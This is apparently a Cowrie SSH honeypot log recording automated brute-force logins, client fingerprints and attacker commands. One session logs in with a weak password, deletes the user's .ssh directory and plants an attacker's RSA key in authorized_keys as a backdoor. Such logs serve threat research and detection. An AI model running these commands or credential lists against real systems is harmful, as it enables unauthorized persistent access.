{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:40.511839Z","src_ip":"43.173.69.147","session":"35adf2a2764b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:40.581495Z","src_ip":"43.173.69.147","session":"35adf2a2764b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"default","message":"login attempt [admin/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:40.891624Z","src_ip":"43.173.69.147","session":"35adf2a2764b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:41.620122Z","src_ip":"101.36.106.162","session":"1707c5ccd607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:41.963267Z","src_ip":"43.173.69.147","session":"35adf2a2764b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":40752,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e8605e185a3","protocol":"ssh","message":"New connection: 201.6.100.191:40752 (159.203.135.109:22) [session: 4e8605e185a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:42.229006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:42.233873Z","src_ip":"201.6.100.191","session":"4e8605e185a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:42.363213Z","src_ip":"201.6.100.191","session":"4e8605e185a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"root","message":"login attempt [sshuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:42.907825Z","src_ip":"201.6.100.191","session":"4e8605e185a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:44.042426Z","src_ip":"201.6.100.191","session":"4e8605e185a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":59640,"dst_ip":"10.17.0.5","dst_port":22,"session":"211e4cd0ff90","protocol":"ssh","message":"New connection: 181.97.227.163:59640 (10.17.0.5:22) [session: 211e4cd0ff90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:52.923759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:52.929222Z","src_ip":"181.97.227.163","session":"211e4cd0ff90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:53.138420Z","src_ip":"181.97.227.163","session":"211e4cd0ff90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"q1w2e3r4","message":"login attempt [user/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:54.007478Z","src_ip":"181.97.227.163","session":"211e4cd0ff90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:55.219753Z","src_ip":"181.97.227.163","session":"211e4cd0ff90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40372,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4dcad56562","protocol":"ssh","message":"New connection: 103.125.103.201:40372 (10.17.0.5:22) [session: 6b4dcad56562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.434297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.439559Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":9141,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c100744d8a2","protocol":"ssh","message":"New connection: 131.161.219.137:9141 (159.203.135.109:22) [session: 1c100744d8a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.445959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.454183Z","src_ip":"131.161.219.137","session":"1c100744d8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.583465Z","src_ip":"131.161.219.137","session":"1c100744d8a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.687561Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36550,"dst_ip":"159.203.135.109","dst_port":22,"session":"1198ac6819db","protocol":"ssh","message":"New connection: 2.57.122.208:36550 (159.203.135.109:22) [session: 1198ac6819db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.727278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.920626Z","src_ip":"2.57.122.208","session":"1198ac6819db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:56.925073Z","src_ip":"2.57.122.208","session":"1198ac6819db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraftserver123","message":"login attempt [minecraft/minecraftserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:57.129910Z","src_ip":"131.161.219.137","session":"1c100744d8a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qweasd","message":"login attempt [oracle/qweasd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:57.713253Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:58.256790Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:58.260277Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:58.264098Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:58.270256Z","src_ip":"131.161.219.137","session":"1c100744d8a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:58.514980Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:58.761211Z","src_ip":"2.57.122.208","session":"1198ac6819db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:59.051845Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:59.055344Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:59.313444Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:59.317320Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40374,"dst_ip":"10.17.0.5","dst_port":22,"session":"61b8b92f6457","protocol":"ssh","message":"New connection: 103.125.103.201:40374 (10.17.0.5:22) [session: 61b8b92f6457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:59.537854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:59.542996Z","src_ip":"103.125.103.201","session":"61b8b92f6457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:54:59.780668Z","src_ip":"103.125.103.201","session":"61b8b92f6457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:00.246775Z","src_ip":"2.57.122.208","session":"1198ac6819db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:00.768182Z","src_ip":"103.125.103.201","session":"61b8b92f6457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:02.009262Z","src_ip":"103.125.103.201","session":"61b8b92f6457","protocol":"ssh"}
